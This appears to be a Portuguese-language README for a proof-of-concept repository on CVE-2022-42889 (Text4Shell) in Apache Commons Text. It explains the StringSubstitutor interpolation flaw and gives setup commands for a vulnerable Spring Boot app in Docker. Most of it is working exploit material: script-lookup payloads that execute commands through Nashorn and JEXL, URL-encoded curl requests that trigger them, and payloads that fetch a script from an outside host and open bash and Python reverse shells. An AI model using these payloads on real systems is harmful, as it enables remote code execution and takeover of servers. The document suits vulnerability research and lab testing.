
Pesquisa e PoC do CVE-2022-42889, também conhecido como Text4Shell
PoC para a vulnerabilidade recentemente descoberta no Apache Commons Text por @pwntester:
Como mencionado em https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/:
A vulnerabilidade existe no objeto interpolador StringSubstitutor. Um interpolador é criado pelo método StringSubstitutor.createInterpolator() e permitirá buscas de strings conforme definido na StringLookupFactory. Isso pode ser usado passando uma string “${prefix:name}”, em que o prefixo é a busca mencionada. Usar as buscas “script”, “dns” ou “url” permitiria que uma string maliciosa executasse scripts arbitrários quando passada ao objeto interpolador.
As versões afetadas do Apache Commons Text são de 1.5 a 1.9. A vulnerabilidade foi corrigida na versão 1.10.
Para ser explorada remotamente, a entrada controlada pelo atacante deve ser usada como entrada para a interpolação do StringSubstitutor. Em particular, nos métodos StringSubstitutor.replace() ou
StringSubstitutor.replaceIn()Desde o JDK 15, o mecanismo JavaScript Nashorn foi removido: https://openjdk.org/jeps/372. Mas se dependências de terceiros forem incluídas, como JEXL, RCE no Apache Commnos Text pode ocorrer (https://twitter.com/pwntester/status/1582321752566161409)
Ele pode ser explorado para obter RCE.
Mecanismo Nashorn:
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
Se usar JEXL de terceiros:
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}
Isso pode levar a uma consulta DNS:
${dns:address|commons.apache.org}
Ele se conecta à URL especificada e tenta buscar o conteúdo:
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}
Template baseado em https://start.spring.io/
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell
Existem diferentes endpoints fornecidos para testar os diferentes vetores de ataque mencionados.

curl http://localhost:8080/poc1


curl http://localhost:8080/poc2


curl http://localhost:8080/poc3

curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

Usando Nashorn:
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

Usando JEXL:
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D


Para ser simples, estou usando a interface padrão do Docker para o listener do netcat. Remexendo aqui e ali, cheguei a estes payloads com reverse shells bash e python funcionando bem:
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}
Onde rev.sh é servido com estes possíveis conteúdos:
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

